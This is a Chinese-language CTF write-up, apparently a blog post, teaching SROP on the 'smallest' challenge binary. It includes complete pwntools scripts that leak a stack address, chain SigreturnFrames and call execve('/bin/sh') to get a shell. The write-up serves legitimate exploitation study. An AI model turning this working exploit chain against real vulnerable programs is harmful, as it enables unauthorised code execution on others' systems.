srop利用

srop利用

所谓的srop,是rop的一种,被ctfwiki称为是高级栈溢出,它的利用手法,我挂出下面两个链接参考学习:

SROP - CTF Wiki (ctf-wiki.org)

https://www.bilibili.com/video/BV1944y1J7fS/?spm_id_from=333.337.search-card.all.click

简单的来说呢,就是利用系统调用号为15(64位)的系统调用,对所有的寄存器进行重新赋值,达到控制所有寄存器的目的,下面将讲解一道题目,对srop构建认知:

题目链接:链接:https://pan.baidu.com/s/1cYiWPoTO5FaavbMTy0Hgmw?pwd=uldz
提取码:uldz

好了,现在开始,我们来看题目,我们先checksec一下,并拖入IDA中:

1

2

代码非常的短,几乎没有独立的片段供我们使用,很明显,可以看出,所调用的函数是read函数,整个代码,除了ret指令,没有对(栈顶)rsp做出移动的指令,这是不同于常规程序的,也就是说,读入的地方,也就是我们ret所返回的地方,因为没有bss段,也没有”/bin/sh”字符串,所以说,泄露栈地址,成了必要的条件(往里面写”/bin/sh”),想要执行write函数泄露栈地址,就必须使rax等于1,而我们溢出无论返回到程序哪里,都无法使rax等于1,但是,别忘了,我们有read函数,read函数执行完毕,会将读入的字节数写入到rax寄存器中,也就是说,让read函数读入一个字节,就可以了。该部分payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
#sh = gdb.debug("./smallest","b *0x4000B0")
sh = process("./smallest")

start_addr = 0x4000B0
syscall_ret_addr = 0x4000be
payload = p64(start_addr)*3
sh.send(payload)

#pause()
sh.send(b"\xb8")
sh.recv(8)
stack_addr = u64(sh.recv(8))
print("stack_addr---------->",hex(stack_addr))

下面,开始gdb调试之路:

3

此时,已经将start_addr发送了三遍,并写在了栈上,上图可以看出,接下来,返回继续执行read函数,并发送”\xb8”:

4

此时发送完成,rax成功等于1,同时由于我们发送了一个字节,所以,0x4000b0最后一个字节被覆盖,变成0x4000b8,指向函数发生改变,刚好绕过xor rax,rax指令,可谓非常的妙,接下里,write函数将泄露0x400个字节,我们选一个作为日后rsp指向的位置即可:

5

执行完毕后,程序再次返回到read函数,接下来的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
sig = SigreturnFrame()
sig.rax = 0
sig.rdi = 0
sig.rsi = stack_addr
sig.rsp = stack_addr
sig.rdx = 0x500
sig.rip = syscall_ret_addr

pause()
payload_2 = p64(start_addr) + b"A"*(0x8) + bytes(sig)
sh.send(payload_2)

pause()
payload_3 = p64(syscall_ret_addr) + b"A"*(0x7)
sh.send(payload_3)

pause()
sign = SigreturnFrame()
sign.rax = 59
sign.rdi = stack_addr + 0x200
sign.rsi = 0
sign.rdx = 0
sign.rsp = stack_addr
sign.rip = syscall_ret_addr
payload_4 = p64(start_addr) + b"A"*(0x8) + bytes(sign) + b"\x00"*(0x200-0x8-0x8-len(bytes(sign))) + b"/bin/sh\x00"
sh.send(payload_4)

pause()
payload_5 = p64(syscall_ret_addr) + b"A"*(0x7)
sh.send(payload_5 )

sh.interactive()

接下来,我们布置寄存器(pwntools提供函数供我们调用)并再次返回到read函数,读入0xf个字节【p64(syscall_ret_addr) + b”A”*(0x7)】,让rax等于0xf,此时ret到syscall,因为rax=0xf,继续执行系统调用,此时rip被设置指向syscall指令,rsp被设置为stack_addr,因为寄存器布置完成,所以调用read函数,发送了payload_4,向stack_addr写入payload_4,此时再次ret到read函数,读入payload_5,rax又等于0xf,此时再ret 到syscall,执行系统调用,布置寄存器,此时rip为syscall_ret_addr,再次syscall,因为寄存器布置好了,执行execve函数,get shell,最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
#sh = gdb.debug("./smallest","b *0x4000B0")
sh = process("./smallest")

start_addr = 0x4000B0
syscall_ret_addr = 0x4000be
payload = p64(start_addr)*3
sh.send(payload)

#pause()
sh.send(b"\xb8")
sh.recv(8)
stack_addr = u64(sh.recv(8))
print("stack_addr---------->",hex(stack_addr))

sig = SigreturnFrame()
sig.rax = 0
sig.rdi = 0
sig.rsi = stack_addr
sig.rsp = stack_addr
sig.rdx = 0x500
sig.rip = syscall_ret_addr

#pause()
payload_2 = p64(start_addr) + b"A"*(0x8) + bytes(sig)
sh.send(payload_2)

#pause()
payload_3 = p64(syscall_ret_addr) + b"A"*(0x7)
sh.send(payload_3)

#pause()
sign = SigreturnFrame()
sign.rax = 59
sign.rdi = stack_addr + 0x200
sign.rsi = 0
sign.rdx = 0
sign.rsp = stack_addr
sign.rip = syscall_ret_addr
payload_4 = p64(start_addr) + b"A"*(0x8) + bytes(sign) + b"\x00"*(0x200-0x8-0x8-len(bytes(sign))) + b"/bin/sh\x00"
sh.send(payload_4)

#pause()
payload_5 = p64(syscall_ret_addr) + b"A"*(0x7)
sh.send(payload_5 )

sh.interactive()